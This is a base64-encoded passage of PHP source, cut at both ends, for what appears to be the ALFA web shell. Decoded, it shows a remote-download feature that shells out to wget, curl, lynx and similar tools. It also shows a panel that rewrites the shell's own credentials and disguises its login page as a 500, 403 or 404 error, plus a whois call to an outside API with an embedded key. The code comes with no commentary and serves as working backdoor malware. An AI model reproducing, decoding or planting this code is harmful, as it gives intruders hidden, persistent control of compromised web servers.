RwOi8vJyksJycsJF9QT1NUWydhbGZhMSddKTsNCiR0YXJnZXQgPSAnaHR0cDovL2FwaS53aG9hcGkuY29tLz9hcGlrZXk9MDkzYjZjYjllNmVhNzI0ZTEwMTkyODY0N2RmM2UwMDkmcj13aG9pcyZkb21haW49Jy4kc2l0ZTsNCiRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXQpOw0KaWYoJGRhdGE9PScnKXskZ2V0ID0gbmV3IEFsZmFDVVJMKCk7JGdldC0+c3NsID0gdHJ1ZTskZGF0YSA9ICRnZXQtPlNlbmQoJHRhcmdldCk7fQ0KJHRhcmdldCA9IEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKTsNCmVjaG8gX19wcmUoKTsNCmlmKGlzX2FycmF5KCR0YXJnZXQpKXtlY2hvKCR0YXJnZXRbIndob2lzX3JhdyJdKTt9ZWxzZXtlY2hvIGFsZmFFeCgid2hvaXMgIi4kc2l0ZSk7fX0NCmVjaG8oIjwvZGl2PiIpOw0KfQ0KZnVuY3Rpb24gYWxmYXJlbW90ZWRsKCl7DQphbGZhaGVhZCgpOw0KZWNobygiPGRpdiBjbGFzcz0naGVhZGVyJz48Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFVwbG9hZCBGcm9tIFVybCB8PC9kaXY+PC9wPjxwPg0KPGZvcm0gb25zdWJtaXQ9XCJnKCdyZW1vdGVkbCcsbnVsbCx0aGlzLmQudmFsdWUsdGhpcy5wLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIj4NCjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIHNpemU9JzUwJz48L3A+DQo8ZGl2IGNsYXNzPSd0eHRmb250Jz5QYXRoOjwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncCcgc2l6ZT0nNTAnIHZhbHVlPSciLiRHTE9CQUxTWydjd2QnXS4iJz48cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9wPg0KPC9mb3JtPjwvcD48L2NlbnRlcj4iKTsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSwkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhMyddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTMnXT09Jz4+Jyl7DQplY2hvIF9fcHJlKCk7DQokdXJsID0gJF9QT1NUWydhbGZhMSddOw0KJHBhdGggPSAkX1BPU1RbJ2FsZmEyJ107DQplY2hvKCc8Y2VudGVyPicpOw0KaWYoX19kb3dubG9hZCgkdXJsLCRwYXRoKSl7DQplY2hvKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPC9mb250PicpOw0KfWVsc2V7DQplY2hvKCc8Zm9udCBjb2xvcj0icmVkIj5FcnJvci4uLiE8L2ZvbnQ+Jyk7DQp9DQplY2hvKCc8L2NlbnRlcj4nKTsNCn0NCmVjaG8oIjwvZGl2PiIpOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gX19kb3dubG9hZCgkdXJsLCRwYXRoPWZhbHNlKXsNCmlmKCFwcmVnX21hdGNoKCIvW2Etel0rOlwvXC8uKy8iLCR1cmwpKSByZXR1cm4gZmFsc2U7DQokc2F2ZWFzID0gYmFzZW5hbWUocmF3dXJsZGVjb2RlKCR1cmwpKTsNCmlmKCRwYXRoKXskc2F2ZWFzPSRwYXRoLiRzYXZlYXM7fQ0KaWYoJGNvbnRlbnQgPSBfX3JlYWRfZmlsZSgkdXJsKSl7DQppZihAaXNfZmlsZSgkc2F2ZWFzKSlAdW5saW5rKCRzYXZlYXMpOw0KaWYoX193cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7cmV0dXJuIHRydWU7fX0NCiRidWZmID0gYWxmYUV4KCJ3Z2V0ICIuJHVybC4iIC1PICIuJHNhdmVhcyk7DQppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7DQokYnVmZiA9IGFsZmFFeCgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOw0KaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOw0KJGJ1ZmYgPSBhbGZhRXgoImx3cC1kb3dubG9hZCAiLiR1cmwuIiAiLiRzYXZlYXMpOw0KaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOw0KJGJ1ZmYgPSBhbGZhRXgoImx5bnggLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7DQppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7DQokYnVmZiA9IGFsZmFFeCgiR0VUICIuJHVybC4iID4gIi4kc2F2ZWFzKTsNCmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsNCiRidWZmID0gYWxmYUV4KCJsaW5rcyAtc291cmNlICIuJHVybC4iID4gIi4kc2F2ZWFzKTsNCmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsNCiRidWZmID0gYWxmYUV4KCJmZXRjaCAtbyAiLiRzYXZlYXMuIiAtcCAiLiR1cmwpOw0KaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOw0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gY2xlYW5fc3RyaW5nKCRzdHJpbmcpew0KICBpZihmdW5jdGlvbl9leGlzdHMoImljb252Iikpew0KCSAgJHMgPSB0cmltKCRzdHJpbmcpOw0KCSAgJHMgPSBpY29udigiVVRGLTgiLCAiVVRGLTgvL0lHTk9SRSIsICRzKTsNCiAgfQ0KICByZXR1cm4gJHM7DQp9DQpmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXsNCiRjb250ZW50ID0gZmFsc2U7DQppZigkZmggPSBAZm9wZW4oJGZpbGUsICJyYiIpKXsNCiRjb250ZW50ID0gIiI7DQp3aGlsZSghZmVvZigkZmgpKXsNCiRjb250ZW50IC49ICRib29tID8gY2xlYW5fc3RyaW5nKGZyZWFkKCRmaCwgODE5MikpIDogZnJlYWQoJGZoLCA4MTkyKTsNCn0NCn0NCmlmKGVtcHR5KCRjb250ZW50KXx8ISRjb250ZW50KXsNCgkkY29udGVudCA9IGFsZmFFeCgiY2F0ICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIik7DQp9DQpyZXR1cm4gJGNvbnRlbnQ7DQp9DQpmdW5jdGlvbiBhbGZhU2V0dGluZ3MoKXsNCmFsZmFoZWFkKCk7DQpBbGZhTnVtKDYsNyw4LDksMTApOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBTZXR0aW5ncyB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2V0dGluZ3NcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCdtYWluXCcpIj58IEdlbmVyYWxsIFNldHRpbmcgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnY29sb3JcJykiPnwgQ2hhbmdlIENvbG9yIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCmlmKCRfUE9TVFsiYWxmYTgiXSA9PSAibWFpbiIpew0KZWNobyAnPHA+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBTZXR0aW5ncyB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJyZWxvYWRTZXR0aW5nKHRoaXMpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4nOw0KJGxnX2FycmF5ID0gYXJyYXkoJzAnPT4nTm8nLCcxJz0+J1llcycpOw0KJHBlbmNfYXJyYXkgPSBhcnJheSgnZmFsc2UnPT4nTm8nLCd0cnVlJz0+J1llcycpOw0KJHByb3RlY3RfaHRtbCA9ICIiOw0KJGljb25faHRtbCA9ICIiOw0KJHBvc3RFbmNfaHRtbCA9ICIiOw0KJGxvZ2luX2h0bWwgPSAiIjsNCmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJHByb3RlY3RfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ109PScxJz8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbC4nPC9vcHRpb24+JzsNCmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJGljb25faHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT09JzEnPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOw0KZm9yZWFjaCgkcGVuY19hcnJheSBhcyAka2V5PT4kdmFsKSRwb3N0RW5jX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLighZW1wdHkoJF9QT1NUWydhbGZhNyddKSYmJF9QT1NUWydhbGZhNyddPT0ka2V5PyJzZWxlY3RlZCI6KF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyYmZW1wdHkoJF9QT1NUWydhbGZhNyddKT8nc2VsZWN0ZWQnOicnKSkuJz4nLiR2YWwuJzwvb3B0aW9uPic7DQokbGdfYXJyYXkgPSBhcnJheSgiZ3VpIj0+IkdVSSIsIjUwMCI9PiI1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yIiwiNDAzIj0+IjQwMyBGb3JiaWRkZW4iLCI0MDQiPT4iNDA0IE5vdEZvdW5kIik7DQpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRsb2dpbl9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddPT0ka2V5PydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOw0KZWNobyAnJzsNCmVjaG8gJzx0YWJsZSBib3JkZXI9IjEiPjx0Ym9keT48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlByb3RlY3Q6PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJwcm90ZWN0IiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJHByb3RlY3RfaHRtbC4nPC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UG9zdCBFbmNyeXB0aW9uOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icG9zdF9lbmNyeXB0IiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJHBvc3RFbmNfaHRtbC4nPC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+U2hvdyBJY29uczo8L2Rpdj48L3RkPjx0ZD48c2VsZWN0IG5hbWU9Imljb24iIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kaWNvbl9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5sb2dpbiBQYWdlOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMCU7IiBuYW1lPSJsZ3BhZ2UiPicuJGxvZ2luX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlVzZXJOYW1lOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6OTUlOyIgbmFtZT0idXNlcm5hbWUiIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pPyRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXTokX1BPU1RbJ2FsZmEzJ10pLiciIHBsYWNlaG9sZGVyPSJzb2xldmlzaWJsZSI+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UGFzc3dvcmQ6PC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo5NSU7IiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IioqKioqIj48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImUiIHZhbHVlPSInLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10uJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icyIgdmFsdWU9IicuJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddLiciPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmKCRfUE9TVFsnYWxmYTUnXT09Jz4+Jyl7DQplY2hvIF9fcHJlKCk7DQppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7DQokcHJvdGVjdCA9ICRfUE9TVFsnYWxmYTEnXTsNCiRsZ3BhZ2UgPSAkX1BPU1RbJ2FsZmEyJ107DQokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmEzJ107DQokcGFzc3dvcmQgPSBtZDUoJF9QT1NUWydhbGZhNCddKTsNCiRpY29uID0gJF9QT1NUWydhbGZhNiddOw0KJHBvc3RfZW5jcnlwdCA9ICRfUE9TVFsnYWxmYTcnXTsNCkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSk7DQokYmFzZW5hbWUgPSBAYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VuYW1lKTsNCiRmaW5kX3VzZXIgPSAnL1wndXNlclwnKC4qPyksL2knOw0KJGZpbmRfcHcgPSAnL1wncGFzc1wnKC4qPyksL2knOw0KJGZpbmRfbGcgPSAnL1wnbG9naW5fcGFnZVwnKC4qPyksL2knOw0KJGZpbmRfcCA9ICcvXCdzYWZlbW9kZVwnKC4qPyksL2knOw0KJGljb25zID0gJy9cJ3Nob3dfaWNvbnNcJyguKj8pLC9pJzsNCiRwb3N0RW5jID0gJy9cJ3Bvc3RfZW5jcnlwdGlvblwnKC4qPyksL2knOw0KaWYoIWVtcHR5KCR1c2VybmFtZSkmJnByZWdfbWF0Y2goJGZpbmRfdXNlciwkZGF0YSwkZSkpew0KJG5ldyA9ICdcJ3VzZXJcJyA9PiBcJycuJHVzZXJuYW1lLidcJywnOw0KJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE0J10pJiZwcmVnX21hdGNoKCRmaW5kX3B3LCRkYXRhLCRlKSl7DQokbmV3ID0gJ1wncGFzc1wnID0+IFwnJy4kcGFzc3dvcmQuJ1wnLCc7DQokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOw0KfQ0KaWYoIWVtcHR5KCRsZ3BhZ2UpJiZwcmVnX21hdGNoKCRmaW5kX2xnLCRkYXRhLCRlKSl7DQokbmV3ID0gJ1wnbG9naW5fcGFnZVwnID0+IFwnJy4kbGdwYWdlLidcJywnOw0KJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsNCn0NCmlmKCFlbXB0eSgkZmluZF9wKSYmcHJlZ19tYXRjaCgkZmluZF9wLCRkYXRhLCRlKSl7DQokbmV3ID0gJ1wnc2FmZW1vZGVcJyA9PiBcJycuJHByb3RlY3QuJ1wnLCc7DQokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOw0KfQ0KaWYocHJlZ19tYXRjaCgkaWNvbnMsJGRhdGEsJGUpKXsNCiRuZXcgPSAnXCdzaG93X2ljb25zXCcgPT4gXCcnLiRpY29uLidcJywnOw0KJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsNCn0NCmlmKHByZWdfbWF0Y2goJHBvc3RFbmMsJGRhdGEsJGUpKXsNCiRuZXcgPSAnXCdwb3N0X2VuY3J5cHRpb25cJyA9PiAnLiRwb3N0X2VuY3J5cHQuJywnOw0KJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsNCn0NCmlmKEBmaWxlX3B1dF9jb250ZW50cygkYmFzZW5hbWUsJGRhdGEpKXsNCmVjaG8gJzxiPlVzZXJOYW1lOiA8L2I+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj4nLiR1c2VybmFtZS4nPC9iPjwvZm9udD48YnIgLz48Yj5QYXNzd29yZDogPC9iPjxmb250IGNvbG9yPSJncmVlbiI+PGI+Jy4kX1BPU1RbJ2FsZmE0J10uJzwvYj48L2ZvbnQ+PHNjcmlwdD5wb3N0X2VuY3J5cHRpb25fbW9kZSA9ICcuJHBvc3RfZW5jcnlwdC4nOzwvc2NyaXB0Pic7DQp9ZWxzZXsNCl9fYWxlcnQoIjxzcGFuIHN0eWxlPSdjb2xvcjpyZWQ7Jz5GaWxlIGhhcyBubyBlZGl0IGFjY2Vzcy4uLiE8L3NwYW4+Iik7DQp9DQp9ZWxzZXsNCl9fYWxlcnQoIjxzcGFuIHN0eWxlPSdjb2xvcjpyZWQ7Jz5Vc2VyTmFtZSBpcyBFbXB0eSAhPC9zcGFuPiIpOw0KfQ0KfQ0KfWVsc2VpZigkX1BPU1RbImFsZmE4Il0gPT0gImNvbG9yIil7DQplY2hvKCc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEN1c3RvbSBDb2xvciB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJyZWxvYWRDb2xvcnMoKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+Jyk7DQplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+JzsNCiR0ZW1wbGF0ZSA9ICc8dHI+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxhIGhyZWY9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vY3VzdG9tY29sb3JzL3toZWxwfS5wbmciIHRhcmdldD0iX2JsYW5rIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+SGVscDwvZm9udD48L2E+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGRpdiBjbGFzcz0idGJsdHh0Ij57aW5kZXh9PC9kaXY+PC90ZD48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0ibWFyZ2luLWxlZnQ6NXB4OyI+e3RhcmdldH06PC9kaXY+PC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDo2MHB4OyIgbXVsdGk9InttdWx0aX0iIGlkPSJndWlfe3RhcmdldH0iIG9uQ2hhbmdlPSJjb2xvckhhbmRsZXIodGhpcyk7IiB0YXJnZXQ9Ii57dGFyZ2V0fSIgdHlwZT0iY29sb3IiIHZhbHVlPSJ7Y29sb3J9Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyIgbXVsdGk9InttdWx0aX0iIG9ua2V5dXA9ImNvbG9ySGFuZGxlcktleSh0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiBpZD0iaW5wdXRfe3RhcmdldH0iIGNsYXNzPSJjb2xvcnNfaW5wdXQiIHBsYWNlaG9sZGVyPSIjZmZmZmZmIiB2YWx1ZT0ie2NvbG9yfSI+PC90ZD48L3RyPic7DQokeCA9IDE7DQpmb3JlYWNoKCRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZhbHVlKXsNCgkkbXVsdGkgPSAiIjsNCglpZihpc19hcnJheSgkdmFsdWUpKXsNCgkJaWYoaXNzZXQoJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdKSl7DQoJCQkkbXVsdGkgPSBfX1pXNWpiMlJsY2coanNvbl9lbmNvZGUoJHZhbHVlKSk7DQoJCX0NCgl9DQoJJHZhbHVlID0gYWxmYV9nZXRDb2xvcigka2V5KTsNCgkkaGVscCA9IHN0cnRvbG93ZXIoc3RyX3JlcGxhY2UoYXJyYXkoIjoiLCAiKyIpLCBhcnJheSgiXyIsICJfcGx1cyIpLCAka2V5KSk7DQoJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2luZGV4fSIsICJ7dGFyZ2V0fSIsICJ7Y29sb3J9IiwgInttdWx0aX0iLCAie2hlbHB9IiksIGFycmF5KCR4KyssICRrZXksICR2YWx1ZSwgJG11bHRpLCAkaGVscCksICR0ZW1wbGF0ZSk7DQp9DQplY2hvICc8dHI+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPi08L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48ZGl2IGNsYXNzPSJ0Ymx0eHQiPio8L2Rpdj48L3RkPjx0ZD48ZGl2IHN0eWxlPSJtYXJnaW4tbGVmdDo1cHg7IiBjbGFzcz0idGJsdHh0Ij5Vc2UgRGVmYXVsdCBDb2xvcjo8L2Rpdj48L3RkPjx0ZD48L3RkPjx0ZD48Y2VudGVyPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9InVzZV9kZWZhdWx0X2NvbG9yIiB2YWx1ZT0iMSI+PC9jZW50ZXI+PC90ZD48L3RyPic7DQoNCmVjaG8gJzwvdGJvZHk+PC90YWJsZT48cD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L3A+PC9mb3JtPjxwPjxidXR0b24gc3R5bGU9InBhZGRpbmc6NHB4OzttYXJnaW4tcmlnaHQ6MjBweDsiIG9uY2xpY2s9IiQoXCdpbXBvcnRGaWxlQnRuXCcpLmNsaWNrKCk7IiBjbGFzcz0iYnV0dG9uIj4gSW1wb3J0IDwvYnV0dG9uPiA8YnV0dG9uIHN0eWxlPSJwYWRkaW5nOjRweDttYXJnaW4tbGVmdDoyMHB4OyIgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2V4cG9ydFwnLFwnY29sb3JcJykiIGNsYXNzPSJidXR0b24iPiBFeHBvcnQgPC9idXR0b24+PC9jZW50ZXI+PC9wPic7DQppZigkX1BPU1RbJ2FsZmE3J109PSdleHBvcnQnKXsNCgllY2hvIF9fcHJlKCk7DQoJJGNvbG9ycyA9IGlzX2FycmF5KCRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl0pPyRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl06YXJyYXkoKTsNCgkkZ2xvYl9jb2xvcnMgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXTsNCgkkYXJyYXkgPSBhcnJheSgpOw0KCWZvcmVhY2goJGdsb2JfY29sb3JzIGFzICRrID0+ICR2KXsNCgkJaWYoaXNzZXQoJGNvbG9yc1ska10pJiYhZW1wdHkoJGNvbG9yc1ska10pJiYhJGlzX2RlZmF1bHQpew0KCQkJJHYgPSB0cmltKCRjb2xvcnNbJGtdKTsNCgkJfWVsc2V7DQoJCQkkdiA9IHRyaW0oaXNfYXJyYXkoJHYpPyR2WyJrZXlfY29sb3IiXTokdik7DQoJCX0NCgkJJGFycmF5WyRrXSA9ICR2Ow0KCX0NCgkkZmlsZSA9ICJhbGZhX2NvbG9yX2NvbmZpZ18iLmRhdGUoJ1ktbS1kLWhfaV9zJykuIi5jb25mIjsNCgkkY29uZmlnID0ganNvbl9lbmNvZGUoJGFycmF5LCBKU09OX1BSRVRUWV9QUklOVCk7DQoJaWYoIUBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJGNvbmZpZykpew0KCQllY2hvKCc8cD48Y2VudGVyPkNvbG9yIENvbmZpZzo8YnI+PGJyPjx0ZXh0YXJlYSByb3dzPSIxMiIgY29scz0iNzAiIHR5cGU9InRleHQiPicuJGNvbmZpZy4nPC90ZXh0YXJlYT48L2NlbnRlcj48L3A+Jyk7DQoJfWVsc2V7DQoJCWVjaG8oJzxoMz48cD48Y2VudGVyPjxhIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLiRmaWxlLidcJywgXCdkb3dubG9hZFwnKSI+PGZvbnQgY29sb3I9IiMwRjAiPkRvd25sb2FkIENvbmZpZzwvZm9udD48L2E+PC9jZW50ZXI+PC9wPjwvaDM+Jyk7DQoJfQ0KfQ0KaWYoJF9QT1NUWydhbGZhMiddPT0nPj4nKXsNCgllY2hvIF9fcHJlKCk7DQoJJGNvbG9ycyA9IGpzb25fZGVjb2RlKCRfUE9TVFsiYWxmYTEiXSx0cnVlKTsNCgkkYXJyYXkgPSAiIjsNCgkkaXNfZGVmYXVsdCA9IGlzc2V0KCRfUE9TVFsiYWxmYTMiXSkmJiRfUE9TVFsiYWxmYTMiXT09IjEiP3RydWU6ZmFsc2U7DQoJJGdsb2JfY29sb3JzID0gJEdMT0JBTFNbIl9fQUxGQV9DT0xPUl9fIl07DQoJZm9yZWFjaCgkZ2xvYl9jb2xvcnMgYXMgJGsgPT4gJHYpew0KCQlpZihpc3NldCgkY29sb3JzWyRrXSkmJiFlbXB0eSgkY29sb3JzWyRrXSkmJiEkaXNfZGVmYXVsdCl7DQoJCQkkdiA9IHRyaW0oJGNvbG9yc1ska10pOw0KCQl9ZWxzZXsNCgkJCSR2ID0gdHJpbShpc19hcnJheSgkdik/JHZbImtleV9jb2xvciJdOiR2KTsNCgkJfQ0KCQkkYXJyYXkgLj0gJyInLnRyaW0oJGspLiciID0+ICInLiR2LiciLCc7DQoJfQ0KCUBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSk7DQoJJGJhc2VuYW1lID0gQGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKTsNCgkkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZW5hbWUpOw0KCSRjb2xvciA9ICcvXCdjb2xvclwnKC4qPylcKSwvcyc7DQoJaWYocHJlZ19tYXRjaCgkY29sb3IsJGRhdGEsJGUpKXsNCgkJJG5ldyA9ICInY29sb3InID0+IGFycmF5KCIuJGFycmF5LiIpLCI7DQoJCSRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7DQoJCWlmKEBmaWxlX3B1dF9jb250ZW50cygkYmFzZW5hbWUsICRkYXRhKSl7DQoJCQllY2hvKCI8Y2VudGVyPjxwPjxoMz5bK10gU3VjY2Vzcy4uLjwvaDM+PC9wPjwvY2VudGVyPjxzY3JpcHQ+bG9jYXRpb24ucmVsb2FkKCk7PC9zY3JpcHQ+Iik7DQoJCX1lbHNlew0KCQkJZWNobygiPGNlbnRlcj48cD48aDM+Wy1dIFdlIE5vdCBoYXZlIHBlcm1pc3Npb24gdG8gRWRpdCBzaGVsbC4uLiE8L2gzPjwvcD48L2NlbnRlcj4iKTsNCgkJfQ0KCX1lbHNlew0KCQllY2hvKCI8Y2VudGVyPjxwPjxoMz5bLV0gRXJyb3IuLi4hPC9oMz48L3A+PC9jZW50ZXI+Iik7DQoJfQ0KfQ0KfQ0KZWNobygnPC9kaXY+Jyk7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhcGx1cygpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9ImhlYWRlciI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBBbGZhICsgfDwvZGl2PjwvcD48Y2VudGVyPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGx1c1wnLG51bGwsXCduZXdzXCcpOyI+fCBOZXdzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwbHVzXCcsbnVsbCxcJ3Rvb2xzXCcpIj58IFRvb2xzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lk